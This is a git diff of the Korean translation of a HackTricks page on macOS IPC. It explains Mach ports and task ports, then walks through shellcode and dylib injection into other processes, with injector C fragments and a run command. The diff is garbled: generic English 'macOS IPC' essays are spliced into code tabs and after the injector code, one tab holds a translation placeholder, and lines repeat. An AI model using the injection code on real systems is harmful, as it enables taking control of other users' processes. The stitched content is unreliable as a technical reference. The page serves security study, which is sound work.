2. **수신 권한을 보유한** 작업 **A**는 포트에 대한 **송신 권한을 생성**합니다.
|
||||
3. 작업 **A**는 **부트스트랩 서버**와 **포트의 서비스 이름** 및 **송신 권한**을 제공하여 **부트스트랩 등록**이라는 절차를 통해 **연결**을 설정합니다.
|
||||
4. 작업 **B**는 **부트스트랩 서버**와 **서비스** 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면 **서버가 작업 A로부터 받은 송신 권한을 복제**하고 **작업 B로 전송**합니다.
|
||||
4. 작업 **B**는 **부트스트랩 서버**와 상호 작용하여 서비스 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면 **서버는 작업 A로부터 받은 송신 권한을 복제**하고 **작업 B로 전송**합니다.
|
||||
5. 송신 권한을 획들한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다.
|
||||
6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **송신** 권한이 있는 새 포트를 생성하고 **송신 권한을 작업 A에게 제공**하여 작업 B로 메시지를 보낼 수 있습니다(양방향 통신).
|
||||
6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신 권한**과 **송신 권한을 가진 새 포트를 생성**하고 **송신 권한을 작업 A에게 제공**하여 작업 B에게 메시지를 보낼 수 있게 합니다(양방향 통신).
|
||||
|
||||
부트스트랩 서버는 **서비스 이름을 인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **시스템 작업을 가장할 수 있으며**, 예를 들어 **인가 서비스 이름을 가장하여 모든 요청을 승인**할 수 있습니다.
|
||||
부트스트랩 서버는 작업이 주장한 서비스 이름을 인증할 수 없습니다. 이는 **작업**이 잠재적으로 **시스템 작업을 가장할 수 있으며**, 예를 들어 **인가 서비스 이름을 가장하고 모든 요청을 승인**할 수 있습니다.
|
||||
|
||||
그런 다음, Apple은 **시스템 제공 서비스의 이름**을 안전한 구성 파일에 저장합니다. 이 파일은 **SIP로 보호된** 디렉토리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있습니다. 각 서비스 이름 옆에는 **관련된 이진 파일도 저장**됩니다. 부트스트랩 서버는 이러한 서비스 이름 각각에 대한 **수신 권한을 생성**하고 보유합니다.
|
||||
그런 다음, Apple은 **시스템 제공 서비스의 이름**을 안전한 구성 파일에 저장합니다. 이 파일은 **SIP로 보호된** 디렉터리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있습니다. 각 서비스 이름 옆에는 **관련된 이진 파일도 저장**됩니다. 부트스트랩 서버는 이러한 서비스 이름 각각에 대한 **수신 권한을 생성하고 보유**합니다.
|
||||
|
||||
이러한 사전 정의된 서비스에 대해서는 **조회 프로세스가 약간 다릅니다**. 서비스 이름을 조회할 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다:
|
||||
이러한 사전 정의된 서비스에 대해서는 **조회 프로세스가 약간 다릅니다**. 서비스 이름을 조회할 때, launchd는 작업이 실행 중인지 확인하고 실행 중이 아니면 **시작**합니다. 그 후 새로운 워크플로우는 다음과 같습니다:
|
||||
|
||||
* 작업 **B**는 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다.
|
||||
* **launchd**는 작업이 실행 중인지 확인하고 실행 중이 아니면 **시작**합니다.
|
||||
* 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 송신 권한을 생성하고 보유하며 **수신 권한을 작업 A로 전송**합니다.
|
||||
* launchd는 **송신 권한을 복제하고 작업 B로 전송**합니다.
|
||||
* 작업 **B**는 **수신** 권한과 **송신** 권한이 있는 새 포트를 생성하고 **송신 권한을 작업 A**(svc)에게 제공하여 작업 B로 메시지를 보낼 수 있습니다(양방향 통신).
|
||||
* 작업 **B**는 **수신 권한**과 **송신 권한**을 가진 새 포트를 생성하고 **송신 권한을 작업 A**(svc)에게 제공하여 작업 B에게 메시지를 보낼 수 있게 합니다(양방향 통신).
|
||||
|
||||
그러나 이 프로세스는 사전 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 처음에 설명된대로 작동하며, 이는 가장할 수 있는 가능성을 열어둘 수 있습니다.
|
||||
그러나 이 프로세스는 사전 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 처음에 설명된대로 작동하여 가장할 수 있는 가능성이 있습니다.
|
||||
|
||||
### Mach 메시지
|
||||
|
||||
[더 많은 정보는 여기에서 찾을 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
[여기에서 자세한 정보를 찾을 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 함수는 사실상 시스템 호출로, Mach 메시지를 보내고 받기 위해 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 `mach_msg_header_t` 구조로 시작해야 하며 실제 메시지 내용이 뒤따라야 합니다. 이 구조는 다음과 같이 정의됩니다:
|
||||
`mach_msg` 함수는 사실상 시스템 호출로, Mach 메시지를 보내고 받기 위해 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 `mach_msg_header_t` 구조로 시작해야 하며 실제 메시지 내용이 뒤를 따라야 합니다. 이 구조는 다음과 같이 정의됩니다:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -86,12 +86,12 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
_**수신 권한**_을 가진 프로세스는 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로 **보내는 쪽**은 _**send**_ 또는 _**send-once right**_를 부여받습니다. send-once right는 한 번의 메시지를 보낸 후에는 무효화됩니다.
|
||||
프로세스가 _**수신 권한**_을 가지고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로 **보내는 쪽**은 _**보내기**_ 또는 _**한 번 보내기 권한**_을 부여받습니다. 한 번 보내기 권한은 한 번의 메시지를 보낸 후에 무효화됩니다.
|
||||
|
||||
쉬운 **양방향 통신**을 위해 프로세스는 mach **메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach 포트를 지정할 수 있습니다. 메시지의 **수신자**는 이 메시지에 대한 응답을 이 포트로 보낼 수 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **send-once right**가 파생되고 전송되어야 함을 나타내는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
쉬운 **양방향 통신**을 위해 프로세스는 mach **메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach 포트를 지정할 수 있습니다. 메시지의 **수신자**는 이 메시지에 대한 응답을 보낼 수 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **한 번 보내기 권한**이 파생되고 전송되어야 함을 나타내는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
XPC 메시지에서 사용되는 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용됩니다 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 서로 다른 포트가 생성**되어 양방향 통신을 생성하는 방법에 대해 이전에 설명한 대로 사용됩니다.
|
||||
XPC 메시지에서 사용되는 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용됩니다 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 서로 다른 포트가 생성**되어 양방향 통신을 생성하는 방법은 이전에 설명한 대로입니다.
|
||||
{% endhint %}
|
||||
|
||||
메시지 헤더의 다른 필드는 다음과 같습니다:
|
||||
|
@ -102,18 +102,16 @@ XPC 메시지에서 사용되는 이러한 종류의 양방향 통신은 응답
|
|||
- `msgh_id`: 수신자가 해석하는 이 메시지의 ID.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**mach 메시지는 \_mach 포트**를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 메시지를 **보낼 수 있지만**, 언제든지 **단일 프로세스만**이 그것을 읽을 수 있습니다.
|
||||
**mach 메시지는 \_mach 포트를 통해 전송**되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 **메시지를 보낼** 수 있지만 언제든지 **단일 프로세스만** 읽을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 포트 나열하기
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
iOS에서 이 도구를 설치하려면 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)에서 다운로드할 수 있습니다.
|
||||
|
||||
### 코드 예시
|
||||
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example` 이름에 대한 **send right**를 생성하여 **부트스트랩 서버**로 보내는 방법에 주목하십시오. 수신자는 그 이름에 대한 **send right**를 요청하고 이를 사용하여 **메시지를 보내는** 방법을 사용했습니다.
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example`라는 이름에 대한 **send right**를 생성하여 이를 **부트스트랩 서버**에 보내는 방법을 주목하십시오. 수신자는 해당 이름에 대한 **send right**를 요청하고 이를 사용하여 **메시지를 보내는** 방법을 사용했습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -184,7 +182,48 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}번역된 텍스트가 여기에 들어갑니다.{% endtab %}
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### Introduction
|
||||
|
||||
macOS provides several mechanisms for inter-process communication (IPC) between applications. Understanding these mechanisms is crucial for both legitimate software development and security research.
|
||||
|
||||
### Mach Ports
|
||||
|
||||
Mach ports are at the core of IPC on macOS. They are used for communication between processes and are essential for various system functions.
|
||||
|
||||
### XPC Services
|
||||
|
||||
XPC Services are a high-level API for implementing inter-process communication in macOS applications. They provide a secure and efficient way for processes to communicate with each other.
|
||||
|
||||
### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism in macOS that allows objects to be passed between processes. It is a powerful feature but requires careful implementation to avoid security vulnerabilities.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Understanding macOS IPC mechanisms is essential for developers and security professionals to build secure applications and conduct thorough security assessments. By knowing how processes communicate with each other, potential security risks can be identified and mitigated effectively.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
int main() {
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to allocate port\n");
|
||||
exit(1);
|
||||
}
|
||||
printf("Port allocated: %d\n", port);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -238,20 +277,20 @@ printf("Sent a message\n");
|
|||
```
|
||||
### 특권 포트
|
||||
|
||||
- **호스트 포트**: 프로세스가 이 포트에 대한 **Send** 권한을 가지고 있다면 시스템에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`).
|
||||
- **호스트 특권 포트**: 이 포트에 대한 **Send** 권한을 가진 프로세스는 커널 익스텐션을 로드하는 등 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 루트여야** 합니다.
|
||||
- 또한 **`kext_request`** API를 호출하려면 다른 엔타이틀먼트 **`com.apple.private.kext*`**가 필요하며, 이는 Apple 이진 파일에만 부여됩니다.
|
||||
- **태스크 이름 포트**: _태스크 포트_의 권한이 없는 버전입니다. 태스크를 참조하지만 제어할 수는 없습니다. 이를 통해 사용 가능한 것은 `task_info()`뿐입니다.
|
||||
- **호스트 포트**: 프로세스가 이 포트에 대한 **Send** 권한을 가지면 **시스템에 대한 정보**를 얻을 수 있습니다 (예: `host_processor_info`).
|
||||
- **호스트 특권 포트**: 이 포트에 대한 **Send** 권한을 가진 프로세스는 커널 익스텐션을 로드하는 등 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **루트여야** 합니다.
|
||||
- 또한 **`kext_request`** API를 호출하려면 다른 엔타이틀먼트 **`com.apple.private.kext*`**이 필요하며, 이는 Apple 이진 파일에만 부여됩니다.
|
||||
- **태스크 이름 포트**: _태스크 포트_의 권한이 없는 버전입니다. 태스크를 참조하지만 제어할 수는 없습니다. 이를 통해 사용할 수 있는 것은 `task_info()`뿐입니다.
|
||||
- **태스크 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 태스크를 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등).
|
||||
- 호출 `mach_task_self()`를 사용하여 호출자 태스크에 대한 이 포트의 **이름을 가져올** 수 있습니다. 이 포트는 **`exec()`**를 통해만 **상속**됩니다. `fork()`로 생성된 새로운 태스크는 새로운 태스크 포트를 받습니다 (`exec()` 이후 suid 이진 파일에서도 특별한 경우로 태스크는 `exec()` 이후 새로운 태스크 포트를 받습니다). 태스크를 생성하고 해당 포트를 얻는 유일한 방법은 `fork()`를 수행하면서 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
- 호출 `mach_task_self()`하여 호출자 태스크에 대한 이 포트의 **이름을 가져옵니다**. 이 포트는 **`exec()`를 통해만 상속**됩니다. `fork()`로 생성된 새로운 태스크는 새로운 태스크 포트를 받습니다 (`exec()` 후에 suid 이진 파일에서도 특별한 경우로 태스크는 새로운 태스크 포트를 받습니다). 태스크를 생성하고 해당 포트를 가져오는 유일한 방법은 `fork()`를 수행하는 동안 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
- 이 포트에 액세스하기 위한 제한 사항 (바이너리 `AppleMobileFileIntegrity`의 `macos_task_policy`에서):
|
||||
- 앱이 **`com.apple.security.get-task-allow` 엔타이틀먼트**를 가지고 있다면 **동일한 사용자의 프로세스가 태스크 포트에 액세스**할 수 있습니다 (주로 디버깅을 위해 Xcode에서 추가됨). **노타리제이션** 프로세스는 프로덕션 릴리스에서 이를 허용하지 않습니다.
|
||||
- **`com.apple.system-task-ports`** 엔타이틀먼트가 있는 앱은 커널을 제외한 **모든** 프로세스의 **태스크 포트를 얻을 수** 있습니다. 이전 버전에서는 **`task_for_pid-allow`**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
- **루트는** **하드닝된** 런타임으로 컴파일되지 않은 애플리케이션의 태스크 포트에 **액세스할 수 있습니다** (Apple에서 제공되지 않은 경우).
|
||||
- 앱이 **`com.apple.security.get-task-allow` 엔타이틀먼트**를 가지고 있으면 **동일한 사용자의 프로세스가 태스크 포트에 액세스**할 수 있습니다 (주로 디버깅을 위해 Xcode에서 추가됨). **노타리제이션** 프로세스는 프로덕션 릴리스에서 이를 허용하지 않습니다.
|
||||
- **`com.apple.system-task-ports`** 엔타이틀먼트가 있는 앱은 커널을 제외한 **모든** 프로세스의 **태스크 포트를 얻을 수 있습니다**. 이전 버전에서는 **`task_for_pid-allow`**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
- **루트는** **하드닝된** 런타임으로 컴파일되지 않은 애플리케이션의 태스크 포트에 **액세스할 수 있습니다** (Apple에서 제공하지 않음).
|
||||
|
||||
### 태스크 포트를 통한 스렬코드 삽입
|
||||
|
||||
다음에서 스렬코드를 가져올 수 있습니다:
|
||||
다음에서 쉘코드를 얻을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -290,38 +329,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### Introduction
|
||||
|
||||
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and Distributed Objects. These mechanisms are used by applications to communicate with system services and other applications.
|
||||
|
||||
### Security Implications
|
||||
|
||||
Improperly configured IPC mechanisms can introduce security vulnerabilities, such as privilege escalation and information disclosure. It is important to properly configure IPC mechanisms and validate the data exchanged between processes to prevent these vulnerabilities.
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
Some IPC mechanisms may be used by malicious actors to escalate their privileges on the system. By exploiting vulnerabilities in IPC mechanisms, an attacker may be able to execute code with elevated privileges and perform unauthorized actions on the system.
|
||||
|
||||
### Best Practices
|
||||
|
||||
To secure IPC mechanisms on macOS, follow these best practices:
|
||||
|
||||
1. **Use Secure Communication Channels**: Encrypt data exchanged between processes to prevent eavesdropping and tampering.
|
||||
2. **Validate Input Data**: Always validate input data received from other processes to prevent injection attacks and data manipulation.
|
||||
3. **Limit Privileges**: Restrict the privileges of processes using IPC mechanisms to minimize the impact of potential security vulnerabilities.
|
||||
4. **Monitor IPC Activity**: Monitor IPC activity on the system to detect any suspicious behavior or unauthorized access attempts.
|
||||
|
||||
By following these best practices, you can enhance the security of IPC mechanisms on macOS and reduce the risk of privilege escalation and other security threats.
|
||||
|
||||
### Conclusion
|
||||
|
||||
IPC mechanisms are essential for inter-process communication on macOS, but they can also introduce security risks if not properly configured and secured. By understanding the security implications of IPC mechanisms and following best practices for securing them, you can mitigate the risks associated with IPC and protect your system from potential attacks.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="entitlements.plist" %}엔터틀먼트.plist{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -334,7 +342,7 @@ IPC mechanisms are essential for inter-process communication on macOS, but they
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
이전 프로그램을 **컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **엔터티먼트**를 추가하십시오 (그렇지 않으면 **sudo**를 사용해야 합니다).
|
||||
이전 프로그램을 **컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **엔타이틀먼트**를 추가하십시오 (그렇지 않으면 **sudo**를 사용해야 합니다).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -544,11 +552,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
|
||||
macOS에서 **스레드**는 **Mach**를 통해 조작되거나 **posix `pthread` api**를 사용하여 조작될 수 있습니다. 이전 인젝션에서 생성된 스레드는 Mach api를 사용하여 생성되었기 때문에 **posix 호환성이 없습니다**.
|
||||
|
||||
**단순한 쉘코드를 인젝션**하여 명령을 실행하는 것이 가능했던 이유는 **posix 호환성이 필요하지 않았기 때문**이며, Mach와만 작동해도 충분했습니다. **더 복잡한 인젝션**을 하려면 **스레드**가 **posix 호환성**을 갖추어야 합니다.
|
||||
**간단한 쉘코드를 인젝트**하여 명령을 실행하는 것이 가능했던 이유는 **posix 호환성이 필요하지 않았기 때문**이며, Mach와만 작동해야 했기 때문입니다. **더 복잡한 인젝션**은 **스레드**가 또한 **posix 호환성**을 가져야 합니다.
|
||||
|
||||
따라서 **스레드를 개선**하기 위해 **`pthread_create_from_mach_thread`**를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 **dylib를 로드**하기 위해 **dlopen을 호출**할 수 있으므로, 다른 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
|
||||
따라서 **스레드를 개선**하기 위해 **`pthread_create_from_mach_thread`**를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 **dylib를 로드**하기 위해 **dlopen을 호출**할 수 있으므로 다른 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 지정 라이브러리를 로드할 수 있습니다.
|
||||
|
||||
예를 들어, (로그를 생성하고 해당 로그를 수신할 수 있는) **예제 dylibs**를 다음에서 찾을 수 있습니다:
|
||||
예를 들어 **다음과 같은 예제 dylibs**를 찾을 수 있습니다 (예를 들어 로그를 생성하고 그 후에 들을 수 있는 것):
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -761,7 +769,7 @@ kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_E
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"원격 스레드 코드의 메모리 권한을 설정할 수 없음: 오류 %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"원격 스레드의 코드에 대한 메모리 권한 설정 실패: 오류 %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -770,7 +778,7 @@ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"원격 스레드 스택의 메모리 권한을 설정할 수 없음: 오류 %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"원격 스레드의 스택에 대한 메모리 권한 설정 실패: 오류 %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -782,7 +790,7 @@ thread_act_t remoteThread;
|
|||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // 실제 스택
|
||||
//remoteStack64 -= 8; // 16의 정렬이 필요함
|
||||
//remoteStack64 -= 8; // 16의 배수로 정렬 필요
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
|
@ -797,7 +805,7 @@ kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64
|
|||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"원격 스레드를 생성할 수 없음: 오류 %s", mach_error_string (kr));
|
||||
fprintf(stderr,"원격 스레드 생성 실패: 오류 %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -828,12 +836,18 @@ fprintf(stderr,"Dylib를 찾을 수 없음\n");
|
|||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
</details>
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### macOS IPC Overview
|
||||
|
||||
macOS provides several mechanisms for inter-process communication (IPC) between applications and processes. Understanding these mechanisms is crucial for both developers and security professionals to assess the attack surface and potential security risks associated with IPC on macOS. This document provides an overview of the different IPC mechanisms available on macOS and their security implications.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### Task port를 통한 스레드 하이재킹 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
### 태스크 포트를 통한 스레드 하이재킹 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
이 기술에서는 프로세스의 스레드가 하이재킹됩니다:
|
||||
|
||||
|
@ -845,9 +859,9 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
### 기본 정보
|
||||
|
||||
XPC는 macOS 및 iOS에서 사용되는 XNU(커널) Inter-Process Communication의 약자로, macOS 및 iOS에서 프로세스 간 통신을 위한 프레임워크입니다. XPC는 시스템 내에서 다른 프로세스 간에 안전하고 비동기적인 메소드 호출을 할 수 있는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소가 작업을 수행하는 데 필요한 권한만 갖고 있는 권한 분리 애플리케이션의 생성을 허용하여, 침해된 프로세스로부터의 잠재적인 피해를 제한합니다.
|
||||
XPC는 macOS 및 iOS에서 **프로세스 간 통신**을 위한 XNU( macOS에서 사용되는 커널) 인터프로세스 통신을 나타냅니다. XPC는 시스템 내의 **다른 프로세스 간에 안전한 비동기 메소드 호출을 수행하는 메커니즘**을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, **특권 분리 애플리케이션의 생성**을 허용하여 각 **구성 요소**가 **필요한 권한만으로** 작업을 수행하도록 하여, 침해된 프로세스로부터의 잠재적인 피해를 제한합니다.
|
||||
|
||||
이 **통신이 작동하는 방식** 및 **취약할 수 있는 방법**에 대한 자세한 정보는 확인하세요:
|
||||
이 **통신이 작동하는 방식** 및 **취약할 수 있는 방법**에 대한 자세한 정보는 다음을 확인하십시오:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
||||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
|
@ -855,9 +869,9 @@ XPC는 macOS 및 iOS에서 사용되는 XNU(커널) Inter-Process Communication
|
|||
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습니다. 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 필요한 코드를 생성합니다. 생성된 코드가 어색하더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
MIG는 Mach IPC 코드 생성 과정을 **간소화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의로 서버와 클라이언트가 통신할 수 있도록 **필요한 코드를 생성**합니다. 생성된 코드가 어색하더라도, 개발자는 그것을 가져와서 그 코드가 이전보다 훨씬 간단해질 것입니다.
|
||||
|
||||
자세한 정보는 확인하세요:
|
||||
자세한 정보는 다음을 확인하십시오:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
|
@ -870,17 +884,3 @@ MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습
|
|||
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,81 +6,87 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
